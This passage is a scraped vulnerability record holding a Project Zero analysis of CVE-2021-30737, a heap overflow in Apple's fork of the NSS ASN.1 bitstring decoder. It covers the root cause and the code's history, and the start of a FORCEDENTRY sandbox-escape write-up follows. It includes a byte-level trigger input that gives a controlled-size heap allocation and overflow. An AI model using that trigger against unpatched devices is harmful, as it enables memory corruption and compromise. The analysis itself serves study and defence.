here\n\n&simple_bitstring_template, // template\n\nasn1_bytes, // buf: asn1 input bytes\n\nasn1_bytes_len); // len: input size \n \n--- \n \n## NSS ASN.1 state machine\n\nThe state machine has two core data structures:\n\nSEC_ASN1DecoderContext \\- the overall parsing context\n\nsec_asn1d_state \\- a single parser state, kept in a doubly-linked list forming a stack of nested states\n\nHere's a trimmed version of the state object showing the relevant fields:\n\ntypedef struct sec_asn1d_state_struct {\n\nSEC_ASN1DecoderContext *top;\n\nconst SecAsn1Template *theTemplate;\n\nvoid *dest;\n\nstruct sec_asn1d_state_struct *parent;\n\nstruct sec_asn1d_state_struct *child;\n\nsec_asn1d_parse_place place;\n\nunsigned long contents_length;\n\nunsigned long pending;\n\nunsigned long consumed;\n\nint depth;\n\n} sec_asn1d_state; \n \n--- \n \nThe main engine of the parsing state machine is the method SEC_ASN1DecoderUpdate which takes a context object, raw input buffer and length:\n\nSECStatus\n\nSEC_ASN1DecoderUpdate (SEC_ASN1DecoderContext *cx,\n\nconst char *buf, size_t len) \n \n--- \n \nThe current state is stored in the context object's current field, and that current state's place field determines the current state which the parser is in. Those states are defined here:\n\n\u200b\u200btypedef enum {\n\nbeforeIdentifier,\n\nduringIdentifier,\n\nafterIdentifier,\n\nbeforeLength,\n\nduringLength,\n\nafterLength,\n\nbeforeBitString,\n\nduringBitString,\n\nduringConstructedString,\n\nduringGroup,\n\nduringLeaf,\n\nduringSaveEncoding,\n\nduringSequence,\n\nafterConstructedString,\n\nafterGroup,\n\nafterExplicit,\n\nafterImplicit,\n\nafterInline,\n\nafterPointer,\n\nafterSaveEncoding,\n\nbeforeEndOfContents,\n\nduringEndOfContents,\n\nafterEndOfContents,\n\nbeforeChoice,\n\nduringChoice,\n\nafterChoice,\n\nnotInUse\n\n} sec_asn1d_parse_place; \n \n--- \n \nThe state machine loop switches on the place field to determine which method to call:\n\nswitch (state->place) {\n\ncase beforeIdentifier:\n\nconsumed = sec_asn1d_parse_identifier (state, buf, len);\n\nwhat = SEC_ASN1_Identifier;\n\nbreak;\n\ncase duringIdentifier:\n\nconsumed = sec_asn1d_parse_more_identifier (state, buf, len);\n\nwhat = SEC_ASN1_Identifier;\n\nbreak;\n\ncase afterIdentifier:\n\nsec_asn1d_confirm_identifier (state);\n\nbreak;\n\n... \n \n--- \n \nEach state method which could consume input is passed a pointer (buf) to the next unconsumed byte in the raw input buffer and a count of the remaining unconsumed bytes (len).\n\nIt's then up to each of those methods to return how much of the input they consumed, and signal any errors by updating the context object's status field.\n\nThe parser can be recursive: a state can set its ->place field to a state which expects to handle a parsed child state and then allocate a new child state. For example when parsing an ASN.1 sequence:\n\nstate->place = duringSequence;\n\nstate = sec_asn1d_push_state (state->top, state->theTemplate + 1,\n\nstate->dest, PR_TRUE); \n \n--- \n \nThe current state sets its own next state to duringSequence then calls sec_asn1d_push_state which allocates a new state object, with a new template and a copy of the parent's dest field.\n\nsec_asn1d_push_state updates the context's current field such that the next loop around SEC_ASN1DecoderUpdate will see this child state as the current state:\n\ncx->current = new_state; \n \n--- \n \nNote that the initial value of the place field (which determines the current state) of the newly allocated child is determined by the template. The final state in the state machine path followed by that child will then be responsible for popping itself off the state stack such that the duringSequence state can be reached by its parent to consume the results of the child.\n\n## Buffer management\n\nThe buffer management is where the NSS ASN.1 parser starts to get really mind bending. If you read through the code you will notice an extreme lack of bounds checks when the output buffers are being filled in - there basically are none. For example, sec_asn1d_parse_leaf which copies the raw encoded string bytes for example simply memcpy's into the output buffer with no bounds checks that the length of the string matches the size of the buffer.\n\nRather than using explicit bounds checks to ensure lengths are valid, the memory safety is instead supposed to be achieved by relying on the fact that decoding valid ASN.1 can never produce output which is larger than its input.\n\nThat is, there are no forms of decompression or input expansion so any parsed output data must be equal to or shorter in length than the input which encoded it. NSS leverages this and over-allocates all output buffers to simply be as large as their inputs.\n\nFor primitive strings this is quite simple: the length and input are provided so there's nothing really to go that wrong. But for constructed strings this gets a little fiddly...\n\nOne way to think of constructed strings is as trees of substrings, nested up to 32-levels deep. Here's an example:\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWnoJoAO5ls05zNgJGzqsN-UTCkUxRl-o1NzXip0CTwvdJOCTXWxYeXnoMWZ47Ndbk0T0AZTcfOhRCGFN8sVbag29apOW4fp-hbZ5RWUsmgdhjcNBhcqqox8S-mGrZL3Lu4nAwpMTJBeStprEvPyqPm7vH84d9IdTRReK-S72A3IGlAPZis6Oj90QS/s706/image3%20%281%29%281%29.png>)\n\nAn outer constructed definite length string with three children: a primitive string \"abc\", a constructed indefinite length string and a primitive string \"ghi\". The constructed indefinite string has two children, a primitive string \"def\" and an end-of-contents marker.\n\nWe start with a constructed definite length string. The string's length value L is the complete size of the remaining input which makes up this string; that number of input bytes should be parsed as substrings and concatenated to form the parsed output.\n\nAt this point the NSS ASN.1 string parser allocates the output buffer for the parsed output string using the length L of that first input string. This buffer is an over-allocated worst case. The part which makes it really fun though is that NSS allocates the output buffer then promptly throws away that length! This might not be so obvious from quickly glancing through the code though. The buffer which is allocated is stored as the Data field of a buffer wrapper type:\n\ntypedef struct cssm_data {\n\nsize_t Length;\n\nuint8_t * __nullable Data;\n\n} SecAsn1Item, SecAsn1Oid; \n \n--- \n \n(Recall that we passed in a pointer to a SecAsn1Item in the template; it's the Data field of that which gets filled in with the allocated string buffer pointer here. This type is very slightly different between NSS and Apple's fork, but the difference doesn't matter here.)\n\nThat Length field is not the size of the allocated Data buffer. It's a (type-specific) count which determines how many bits or bytes of the buffer pointed to by Data are valid. I say type-specific because for bit-strings Length is stored in units of bits but for other strings it's in units of bytes. ([CVE-2016-1950](<https://bugzilla.mozilla.org/show_bug.cgi?id=1245528>) was a bug in NSS where the code mixed up those units.)\n\nRather than storing the allocated buffer size along with the buffer pointer, each time a substring/child string is encountered the parser walks back up the stack of currently-being-parsed states to find the inner-most definite length string. As it's walking up the states it examines each state to determine how much of its input it has consumed in order to be able to determine whether it's the case that the current to-be-parsed substring is indeed completely enclosed within the inner-most enclosing definite length string.\n\nIf that sounds complicated, it is! The logic which does this is here, and it took me a good few days to pull it apart enough to figure out what this was doing:\n\nsec_asn1d_state *parent = sec_asn1d_get_enclosing_construct(state);\n\nwhile (parent && parent->indefinite) {\n\nparent = sec_asn1d_get_enclosing_construct(parent);\n\n}\n\nunsigned long remaining = parent->pending;\n\nparent = state;\n\ndo {\n\nif (!sec_asn1d_check_and_subtract_length(&remaining,\n\nparent->consumed,\n\nstate->top)\n\n||\n\n/* If parent->indefinite is true, parent->contents_length is\n\n* zero and this is a no-op. */\n\n!sec_asn1d_check_and_subtract_length(&remaining,\n\nparent->contents_length,\n\nstate->top)\n\n||\n\n/* If parent->indefinite is true, then ensure there is enough\n\n* space for an EOC tag of 2 bytes. */\n\n( parent->indefinite\n\n&&\n\n!sec_asn1d_check_and_subtract_length(&remaining,\n\n2,\n\nstate->top)\n\n)\n\n) {\n\n/* This element is larger than its enclosing element, which is\n\n* invalid. */\n\nreturn;\n\n}\n\n} while ((parent = sec_asn1d_get_enclosing_construct(parent))\n\n&&\n\nparent->indefinite); \n \n--- \n \nIt first walks up the state stack to find the innermost constructed definite state and uses its state->pending value as an upper bound. It then walks the state stack again and for each in-between state subtracts from that original value of pending how many bytes could have been consumed by those in between states. It's pretty clear that the pending value is therefore vitally important; it's used to determine an upper bound so if we could mess with it this \"bounds check\" could go wrong.\n\nAfter figuring out that this was pretty clearly the only place where any kind of bounds checking takes place I looked back at the fix more closely.\n\nWe know that sec_asn1d_parse_bit_string is only the function which changed:\n\nstatic unsigned long\n\nsec_asn1d_parse_bit_string (sec_asn1d_state *state,\n\nconst char *buf, unsigned long len)\n\n{\n\nunsigned char byte;\n\n/*PORT_Assert (state->pending > 0); */\n\nPORT_Assert (state->place == beforeBitString);\n\nif ((state->pending == 0) || (state->contents_length == 1)) {\n\nif (state->dest != NULL) {\n\nSecAsn1Item *item = (SecAsn1Item *)(state->dest);\n\nitem->Data = NULL;\n\nitem->Length = 0;\n\nstate->place = beforeEndOfContents;\n\n}\n\nif(state->contents_length == 1) {\n\n/* skip over (unused) remainder byte */\n\nreturn 1;\n\n}\n\nelse {\n\nreturn 0;\n\n}\n\n}\n\nif (len == 0) {\n\nstate->top->status = needBytes;\n\nreturn 0;\n\n}\n\nbyte = (unsigned char) *buf;\n\nif (byte > 7) {\n\ndprintf(\"decodeError: parse_bit_string remainder oflow\\n\");\n\nPORT_SetError (SEC_ERROR_BAD_DER);\n\nstate->top->status = decodeError;\n\nreturn 0;\n\n}\n\nstate->bit_string_unused_bits = byte;\n\nstate->place = duringBitString;\n\nstate->pending -= 1;\n\nreturn 1;\n\n} \n \n--- \n \nThe highlighted region of the function are the characters which were removed by the patch. This function is meant to return the number of input bytes (pointed to by buf) which it consumed and my initial hunch was to notice that the patch removed a path through this function where you could get the count of input bytes consumed and pending out-of-sync. It should be the case that when they return 1 in the removed code they also decrement state->pending, as they do in the other place where this function returns 1.\n\nI spent quite a while trying to figure out how you could actually turn that into something useful but in the end I don't think you can.\n\nSo what else is going on here?\n\nThis state is reached with buf pointing to the first byte after the length value of a primitive bitstring. state->contents_length is the value of that parsed length. Bitstrings, as discussed earlier, are a unique ASN.1 string type in that they have an extra meta-data byte at the beginning (the unused-bits count byte.) It's perfectly fine to have a definite zero-length string - indeed that's (sort-of) handled earlier than this in the prepareForContents state, which short-circuits straight to afterEndOfContents:\n\nif (state->contents_length == 0 && (! state->indefinite)) {\n\n/*\n\n* A zero-length simple or constructed string; we are done.\n\n*/\n\nstate->place = afterEndOfContents; \n \n--- \n \nHere they're detecting a definite-length string type with a content length of 0. But this doesn't handle the edge case of a bitstring which consists only of the unused-bits count byte. The state->contents_length value of that bitstring will be 1, but it doesn't actually have any \"contents\". \n\nIt's this case which the (state->contents_length == 1) conditional in sec_asn1d_parse_bit_string matches:\n\nif ((state->pending == 0) || (state->contents_length == 1)) {\n\nif (state->dest != NULL) {\n\nSecAsn1Item *item = (SecAsn1Item *)(state->dest);\n\nitem->Data = NULL;\n\nitem->Length = 0;\n\nstate->place = beforeEndOfContents;\n\n}\n\nif(state->contents_length == 1) {\n\n/* skip over (unused) remainder byte */\n\nreturn 1;\n\n}\n\nelse {\n\nreturn 0;\n\n}\n\n} \n \n--- \n \nBy setting state->place to beforeEndOfContents they are again trying to short-circuit the state machine to skip ahead to the state after the string contents have been consumed. But here they take an additional step which they didn't take when trying to achieve exactly the same thing in prepareForContents. In addition to updating state->place they also NULL out the dest SecAsn1Item's Data field and set the Length to 0.\n\nI mentioned earlier that the new child states which are allocated to recursively parse the sub-strings of constructed strings get a copy of the parent's dest field (which is a pointer to a pointer to the output buffer.) This makes sense: that output buffer is only allocated once then gets recursively filled-in in a linear fashion by the children. (Technically this isn't actually how it works if the outermost string is indefinite length, there's separate handling for that case which instead builds a linked-list of substrings which are eventually concatenated, see sec_asn1d_concat_substrings.)\n\nIf the output buffer is only allocated once, what happens if you set Data to NULL like they do here? Taking a step back, does that actually make any sense at all?\n\nNo, I don't think it makes any sense. Setting Data to NULL at this point should at the very least cause a memory leak, as it's the only pointer to the output buffer.\n\nThe fun part though is that that's not the only consequence of NULLing out that pointer. item->Data is used to signal something else.\n\nHere's a snippet from prepare_for_contents when it's determining whether there's enough space in the output buffer for this substring\n\n} else if (state->substring) {\n\n/*\n\n* If we are a substring of a constructed string, then we may\n\n* not have to allocate anything (because our parent, the\n\n* actual constructed string, did it for us). If we are a\n\n* substring and we *do* have to allocate, that means our\n\n* parent is an indefinite-length, so we allocate from our pool;\n\n* later our parent will copy our string into the aggregated\n\n* whole and free our pool allocation.\n\n*/\n\nif (item->Data == NULL) {\n\nPORT_Assert (item->Length == 0);\n\npoolp = state->top->our_pool;\n\n} else {\n\nalloc_len = 0;\n\n} \n \n--- \n \nAs the comment implies, if both item->Data is NULL at this point and state->substring is true, then (they believe) it must be the case that they are currently parsing a substring of an outer-level indefinite string, which has no definite-sized buffer already allocated. In that case the meaning of the item->Data pointer is different to that which we describe earlier: it's merely a temporary buffer meant to hold only this substring. Just above here alloc_len was set to the content length of this substring; and for the outer-definite-length case it's vitally important that alloc_len then gets set to 0 here (which is really indicating that a buffer has already been allocated and they must not allocate a new one.)\n\nTo emphasize the potentially subtle point: the issue is that using this conjunction (state->substring && !item->Data) for determining whether this a substring of a definite length or outer-level-indefinite string is not the same as the method used by the convoluted bounds checking code we saw earlier. That method walks up the current state stack and checks the indefinite bits of the super-strings to determine whether they're processing a substring of an outer-level-indefinite string.\n\nPutting that all together, you might be able to see where this is going... (but it is still pretty subtle.)\n\nAssume that we have an outer definite-length constructed bitstring with three primitive bitstrings as substrings:\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgrOQ03pJyD_2kyYzOGet_H7mP9Lt9Q297bOTvQ_nuYVxzItU8QoydNBJKi9CS537QEi5dSLjoK_y7rEw-VouOmd52e30UMUqgMCQWA06maNKRshSqr2eyyaIHqtfy-okXJy2qxcsiBuNvNO8FXGCHXSwjAzEWl5esvG0N8ObbRPK3eIOam7z3WMQMG/s831/image5%20%281%29%281%29.png>)\n\nUpon encountering the first outer-most definite length constructed bitstring, the code will allocate a fixed-size buffer, large enough to store all the remaining input which makes up this string, which in this case is 42 bytes. At this point dest->Data points to that buffer.\n\nThey then allocate a child state, which gets a copy of the dest pointer (not a copy of the dest SecAsn1Item object; a copy of a pointer to it), and proceed to parse the first child substring.\n\nThis is a primitive bitstring with a length of 1 which triggers the vulnerable path in sec_asn1d_parse_bit_string and sets dest->Data to NULL. The state machine skips ahead to beforeEndOfContents then eventually the next substring gets parsed - this time with dest->Data == NULL.\n\nNow the logic goes wrong in a bad way and, as we saw in the snippet above, a new dest->Data buffer gets allocated which is the size of only this substring (2 bytes) when in fact dest->Data should already point to a buffer large enough to hold the entire outer-level-indefinite input string. This bitstring's contents then get parsed and copied into that buffer.\n\nNow we come to the third substring. dest->Data is no longer NULL; but the code now has no way of determining that the buffer was in fact only (erroneously) allocated to hold a single substring. It believes the invariant that item->Data only gets allocated once, when the first outer-level definite length string is encountered, and it's that fact alone which it uses to determine whether dest->Data points to a buffer large enough to have this substring appended to it. It then happily appends this third substring, writing outside the bounds of the buffer allocated to store only the second substring.\n\nThis gives you a great memory corruption primitive: you can cause allocations of a controlled size and then overflow them with an arbitrary number of arbitrary bytes.\n\nHere's an example encoding for an ASN.1 bitstring which triggers this issue:\n\nuint8_t concat_bitstrings_constructed_definite_with_zero_len_realloc[]\n\n= {ASN1_CLASS_UNIVERSAL | ASN1_CONSTRUCTED | ASN1_BIT_STRING, // (0x23)\n\n0x4a, // initial allocation size\n\nASN1_CLASS_UNIVERSAL | ASN1_PRIMITIVE | ASN1_BIT_STRING,\n\n0x1, // force item->Data = NULL\n\n0x0, // number of unused bits in the final byte\n\nASN1_CLASS_UNIVERSAL | ASN1_PRIMITIVE | ASN1_BIT_STRING,\n\n0x2, // this is the reallocation size\n\n0x0, // number of unused bits in the final byte\n\n0xff, // only byte of bitstring\n\nASN1_CLASS_UNIVERSAL | ASN1_PRIMITIVE | ASN1_BIT_STRING,\n\n0x41, // 64 actual bytes, plus the remainder, will cause 0x40 byte memcpy one byte in to 2 byte allocation\n\n0x0, // number of unused bits in the final byte\n\n0xff,\n\n0xff,// -- continues for overflow \n \n--- \n \n## Why wasn't this found by fuzzing?\n\nThis is a reasonable question to ask. This source code is really really hard to audit, even with the diff it was at least a week of work to figure out the true root cause of the bug. I'm not sure if I would have spotted this issue during a code audit. It's very broken but it's quite subtle and you have to figure out a lot about the state machine and the bounds-checking rules to see it - I think I might have given up before I figured it out and gone to look for something easier.\n\nBut the trigger test-case is neither structurally complex nor large, and feels within-grasp for a fuzzer. So why wasn't it found? I'll offer two points for discussion:\n\n### Perhaps it's not being fuzzed?\n\nOr at least, it's not being fuzzed in the exact form which it appears in Apple's Security.framework library. I understand that both Mozilla and Google do fuzz the NSS ASN.1 parser and have found a bunch of vulnerabilities, but note that the key part of the vulnerable code (\"|| (state->contents_length == 1\" in sec_asn1d_parse_bit_string) isn't present in upstream NSS (more on that below.)\n\n### Can it be fuzzed effectively?\n\nEven if you did build the Security.framework version of the code and used a coverage guided fuzzer, you might well not trigger any crashes. The code uses a custom heap allocator and you'd have to either replace that with direct calls to the system allocator or use ASAN's custom allocator hooks. Note that [upstream NSS does do that](<https://searchfox.org/mozilla-central/source/nsprpub/lib/ds/plarena.h#128>), but as I understand it, Apple's fork doesn't.\n\n## History\n\nI'm always interested in not just understanding how a vulnerability works but how it was introduced. This case is a particularly compelling example because once you understand the bug, the code construct initially looks extremely suspicious. It only exists in Apple's fork of NSS and the only impact of that change is to introduce a perfect memory corruption primitive. But let's go through the history of the code to convince ourselves that it is much more likely that it was just an unfortunate accident:\n\nThe earliest reference to this code I can find is [this, which appears to be the initial checkin in the Mozilla CVS repo on March 31, 2000](<https://github.com/jrmuizel/mozilla-cvs-history/blob/5dea64f5a5bc55978a9f4632a5f59679572c7985/security/nss/lib/util/secasn1d.c>):\n\nstatic unsigned long\n\nsec_asn1d_parse_bit_string (sec_asn1d_state *state,\n\nconst char *buf, unsigned long len)\n\n{\n\nunsigned char byte;\n\nPORT_Assert (state->pending > 0);\n\nPORT_Assert (state->place == beforeBitString);\n\nif (len == 0) {\n\nstate->top->status = needBytes;\n\nreturn 0;\n\n}\n\nbyte = (unsigned char) *buf;\n\nif (byte > 7) {\n\nPORT_SetError (SEC_ERROR_BAD_DER);\n\nstate->top->status = decodeError;\n\nreturn 0;\n\n}\n\nstate->bit_string_unused_bits = byte;\n\nstate->place = duringBitString;\n\nstate->pending -= 1;\n\nreturn 1;\n\n} \n \n--- \n \nOn August 24th, 2001 the form of the code changed to something like the current version, [in ](<https://github.com/jrmuizel/mozilla-cvs-history/commit/4f4edc3a5054512a54fda651497d1dafe77f7656>)[this commit](<https://github.com/jrmuizel/mozilla-cvs-history/commit/4f4edc3a5054512a54fda651497d1dafe77f7656>)[ with the message \"Memory leak fixes.\"](<https://github.com/jrmuizel/mozilla-cvs-history/commit/4f4edc3a5054512a54fda651497d1dafe77f7656>):\n\nstatic unsigned long\n\nsec_asn1d_parse_bit_string (sec_asn1d_state *state,\n\nconst char *buf, unsigned long len)\n\n{\n\nunsigned char byte;\n\n- PORT_Assert (state->pending > 0);\n\n/*PORT_Assert (state->pending > 0); */\n\nPORT_Assert (state->place == beforeBitString);\n\n+ if (state->pending == 0) {\n\n+ if (state->dest != NULL) {\n\n+ SECItem *item = (SECItem *)(state->dest);\n\n+ item->data = NULL;\n\n+ item->len = 0;\n\n+ state->place = beforeEndOfContents;\n\n+ return 0;\n\n+ }\n\n+ }\n\nif (len == 0) {\n\nstate->top->status = needBytes;\n\nreturn 0;\n\n}\n\nbyte = (unsigned char) *buf;\n\nif (byte > 7) {\n\nPORT_SetError (SEC_ERROR_BAD_DER);\n\nstate->top->status = decodeError;\n\nreturn 0;\n\n}\n\nstate->bit_string_unused_bits = byte;\n\nstate->place = duringBitString;\n\nstate->pending -= 1;\n\nreturn 1;\n\n} \n \n--- \n \nThis commit added the item->data = NULL line but here it's only reachable when pending == 0. I am fairly convinced that this was dead code and not actually reachable (and that the PORT_Assert which they commented out was actually valid.)\n\nThe beforeBitString state (which leads to the sec_asn1d_parse_bit_string method being called) will always be preceded by the afterLength state (implemented by sec_asn1d_prepare_for_contents.) On entry to the afterLength state state->contents_length is equal to the parsed length field and sec_asn1d_prepare_for_contents does:\n\nstate->pending = state->contents_length;\n\nSo in order to reach sec_asn1d_parse_bit_string with state->pending == 0, state->contents_length would also need to be 0 in sec_asn1d_prepare_for_contents.\n\nThat means that in the if/else decision tree below, at least one of the two conditionals must be true:\n\nif (state->contents_length == 0 && (! state->indefinite)) {\n\n/*\n\n* A zero-length simple or constructed string; we are done.\n\n*/\n\nstate->place = afterEndOfContents;\n\n...\n\n} else if (state->indefinite) {\n\n/*\n\n* An indefinite-length string *must* be constructed!\n\n*/\n\ndprintf(\"decodeError: prepare for contents indefinite not construncted\\n\");\n\nPORT_SetError (SEC_ERROR_BAD_DER);\n\nstate->top->status = decodeError; \n \n--- \n \nyet it is required that neither of those be true in order to reach the final else which is the only path to reaching sec_asn1d_parse_bit_string via the beforeBitString state:\n\n} else {\n\n/*\n\n* A non-zero-length simple string.\n\n*/\n\nif (state->underlying_kind == SEC_ASN1_BIT_STRING)\n\nstate->place = beforeBitString;\n\nelse\n\nstate->place = duringLeaf;\n\n} \n \n--- \n \nSo at that point (24 August 2001) the NSS codebase had some dead code which looked like it was trying to handle parsing an ASN.1 bitstring which didn't have an unused-bits byte. As we've seen in the rest of this post though, that handling is quite wrong, but it didn't matter as the code was unreachable. \n\nThe earliest reference to Apple's fork of that NSS code I can find is in the [SecurityNssAsn1-11](<https://github.com/apple-oss-distributions/SecurityNssAsn1/tree/SecurityNssAsn1-11>) package for OS X 10.3 (Panther) which would have been released October 24th, 2003. In that project we can find a CHANGES.apple file which tells us [a little more about the origins of Apple's fork](<https://github.com/apple-oss-distributions/SecurityNssAsn1/blob/SecurityNssAsn1-11/CHANGES.Apple>):\n\nGeneral Notes\n\n\\-------------\n\n1\\. This module, SecurityNssAsn1, is based on the Netscape Security\n\nServices (\"NSS\") portion of the Mozilla Browser project. The \n\nsource upon which SecurityNssAsn1 was based was pulled from \n\nthe Mozilla CVS repository, top of tree as of January 21, 2003. \n\nThe SecurityNssAsn1 project contains only those portions of NSS \n\nused to perform BER encoding and decoding, along with minimal \n\nsupport required by the encode/decode routines.\n\n2\\. The directory structure of SecurityNssAsn1 differs significantly\n\nfrom that of NSS, rendering simple diffs to document changes\n\nunwieldy. Diffs could still be performed on a file-by-file basis.\n\n3\\. All Apple changes are flagged by the symbol __APPLE__, either\n\nvia \"#ifdef __APPLE__\" or in a comment. \n\nThat document continues on to outline a number of broad changes which Apple made to the code, including reformatting the code and changing a number of APIs to add new features. We also learn the date at which Apple forked the code (January 21, 2003) so we can go back through a github mirror of the mozilla CVS repository to find [the version of secasn1d.c as it would have appeared then](<https://github.com/jrmuizel/mozilla-cvs-history/blob/1f25ac6059384ad941cb20481acef0e6b4d46dbd/security/nss/lib/util/secasn1d.c>) and diff them.\n\nFrom that diff we can see that the Apple developers actually made fairly significant changes in this initial import, indicating that this code underwent some level of review prior to importing it. For example:\n\n@@ -1584,7 +1692,15 @@\n\n/*\n\n* If our child was just our end-of-contents octets, we are done.\n\n*/\n\n+ #ifdef __APPLE__\n\n+ /* \n\n\\+ * Without the check for !child->indefinite, this path could\n\n\\+ * be taken erroneously if the child is indefinite!\n\n\\+ */\n\n+ if(child->endofcontents && !child->indefinite) {\n\n+ #else\n\nif (child->endofcontents) { \n \n--- \n \nThey were pretty clearly looking for potential correctness issues with the code while they were refactoring it. The example shown above is a non-trivial change and one which persists to this day. (And I have no idea whether the NSS or Apple version is correct!) Reading the diff we can see that not every change ended up being marked with #ifdef __APPLE__ or a comment. They also made this change to sec_asn1d_parse_bit_string:\n\n@@ -1372,26 +1469,33 @@\n\n/*PORT_Assert (state->pending > 0); */\n\nPORT_Assert (state->place == beforeBitString);\n\n- if (state->pending == 0) {\n\n- if (state->dest != NULL) {\n\n- SECItem *item = (SECItem *)(state->dest);\n\n- item->data = NULL;\n\n- item->len = 0;\n\n- state->place = beforeEndOfContents;\n\n- return 0;\n\n- }\n\n+ if ((state->pending == 0) || (state->contents_length == 1)) {\n\n+ if (state->dest != NULL) {\n\n+ SECItem *item = (SECItem *)(state->dest);\n\n+ item->Data = NULL;\n\n+ item->Length = 0;\n\n+ state->place = beforeEndOfContents;\n\n+ }\n\n+ if(state->contents_length == 1) {\n\n+ /* skip over (unused) remainder byte */\n\n+ return 1;\n\n+ }\n\n+ else {\n\n+ return 0;\n\n+ }\n\n} \n \n--- \n \nIn the context of all the other changes in this initial import this change looks much less suspicious than I first thought. My guess is that the Apple developers thought that Mozilla had missed handling the case of a bitstring with only the unused-bits bytes and attempted to add support for it. It looks like the state->pending == 0 conditional must have been Mozilla's check for handling a 0-length bitstring so therefore it was quite reasonable to think that the way it was handling that case by NULLing out item->data was the right thing to do, so it must also be correct to add the contents_length == 1 case here.\n\nIn reality the contents_length == 1 case was handled perfectly correctly anyway in sec_asn1d_parse_more_bit_string, but it wasn't unreasonable to assume that it had been overlooked based on what looked like a special case handling for the missing unused-bits byte in sec_asn1d_parse_bit_string.\n\nThe fix for the bug was simply to revert the change made during the initial import 18 years ago, making the dangerous but unreachable code unreachable once more:\n\nif ((state->pending == 0) || (state->contents_length == 1)) {\n\nif (state->dest != NULL) {\n\nSecAsn1Item *item = (SecAsn1Item *)(state->dest);\n\nitem->Data = NULL;\n\nitem->Length = 0;\n\nstate->place = beforeEndOfContents;\n\n}\n\nif(state->contents_length == 1) {\n\n/* skip over (unused) remainder byte */\n\nreturn 1;\n\n}\n\nelse {\n\nreturn 0;\n\n}\n\n} \n \n--- \n \n## Conclusions\n\nForking complicated code is complicated. In this case it took almost two decades to in the end just revert a change made during import. Even verifying whether this revert is correct is really hard.\n\nThe Mozilla and Apple codebases have continued to diverge since 2003. As I discovered slightly too late to be useful, the Mozilla code now has more comments trying to explain the decoder's \"novel\" memory safety approach.\n\nRewriting this code to be more understandable (and maybe even memory safe) is also distinctly non-trivial. The code doesn't just implement ASN.1 decoding; it also has to support safely decoding incorrectly encoded data, as described by this verbatim comment for example:\n\n/*\n\n* Okay, this is a hack. It *should* be an error whether\n\n* pending is too big or too small, but it turns out that\n\n* we had a bug in our *old* DER encoder that ended up\n\n* counting an explicit header twice in the case where\n\n* the underlying type was an ANY. So, because we cannot\n\n* prevent receiving these (our own certificate server can\n\n* send them to us), we need to be lenient and accept them.\n\n* To do so, we need to pretend as if we read all of the\n\n* bytes that the header said we would find, even though\n\n* we actually came up short.\n\n*/\n\nVerifying that a rewritten, simpler decoder also handles every hard-coded edge case correctly probably leads to it not being so simple after all.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2022-04-07T00:00:00", "type": "googleprojectzero", "title": "\nCVE-2021-30737, @xerub's 2021 iOS ASN.1 Vulnerability\n", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 3.4, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 6.9, "vectorString": "AV:L/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2016-1950", "CVE-2021-1782", "CVE-2021-30737"], "modified": "2022-04-07T00:00:00", "id": "GOOGLEPROJECTZERO:1018F8694CC71D28EAB1260365FF3821", "href": "https://googleprojectzero.blogspot.com/2022/04/cve-2021-30737-xerubs-2021-ios-asn1.html", "cvss": {"score": 6.9, "vector": "AV:L/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-05-28T02:00:42", "description": "Posted by Ian Beer & Samuel Gro\u00df of Google Project Zero\n\nWe want to thank Citizen Lab for sharing a sample of the FORCEDENTRY exploit with us, and Apple\u2019s Security Engineering and Architecture (SEAR) group for collaborating with us on the technical analysis. Any editorial opinions reflected below are solely Project Zero\u2019s and do not necessarily reflect those of the organizations we collaborated with during this research.\n\nLate last year [we published a writeup](<https://googleprojectzero.blogspot.com/2021/12/a-deep-dive-into-nso-zero-click.html>) of the initial remote code execution stage of FORCEDENTRY, the zero-click iMessage exploit attributed by Citizen Lab to NSO. By sending a .gif iMessage attachment (which was really a PDF) NSO were able to remotely trigger a heap buffer overflow in the ImageIO JBIG2 decoder. They used that vulnerability to bootstrap a powerful [weird machine](<https://en.wikipedia.org/wiki/Weird_machine>) capable of loading the next stage in the infection process: the sandbox escape.\n\nIn this post we'll take a look at that sandbox escape. It's notable for using only logic bugs. In fact it's unclear where the features that it uses end and the vulnerabilities which it abuses begin. Both current and upcoming state-of-the-art mitigations such as Pointer Authentication and Memory Tagging have no impact at all on this sandbox escape.\n\n## An observation\n\nDuring our initial analysis of the .gif file Samuel noticed that rendering the image appeared to leak memory. Running the heap tool after releasing all the associated resources gave the following output:\n\n$ heap $pid\n\n\\------------------------------------------------------------\n\nAll zones: 4631 nodes (826336 bytes) \n\nCOUNT BYTES AVG CLASS_NAME TYPE BINARY \n\n===== ===== === ========== ==== ====== \n\n1969 469120 238.3 non-object \n\n825 26400 32.0 JBIG2Bitmap C++ CoreGraphics\n\nheap was able to determine that the leaked memory contained JBIG2Bitmap objects.\n\nUsing the -address option we could find all the individual leaked bitmap objects:\n\n$ heap -address JBIG2Bitmap $pid\n\nand dump them out to files. One of those objects was quite unlike the others:\n\n$ hexdump -C dumpXX.bin | head\n\n00000000 62 70 6c 69 73 74 30 30 |bplist00|\n\n...\n\n00000018 24 76 65 72 73 69 | $versi|\n\n00000020 6f 6e 59 24 61 72 63 68 |onY$arch|\n\n00000028 69 76 65 72 58 24 6f 62 |iverX$ob|\n\n00000030 6a 65 63 74 73 54 24 74 |jectsT$t|\n\n00000038 6f 70 |op |\n\n00000040 4e 53 4b 65 79 65 | NSKeye|\n\n00000048 64 41 72 63 68 69 76 65 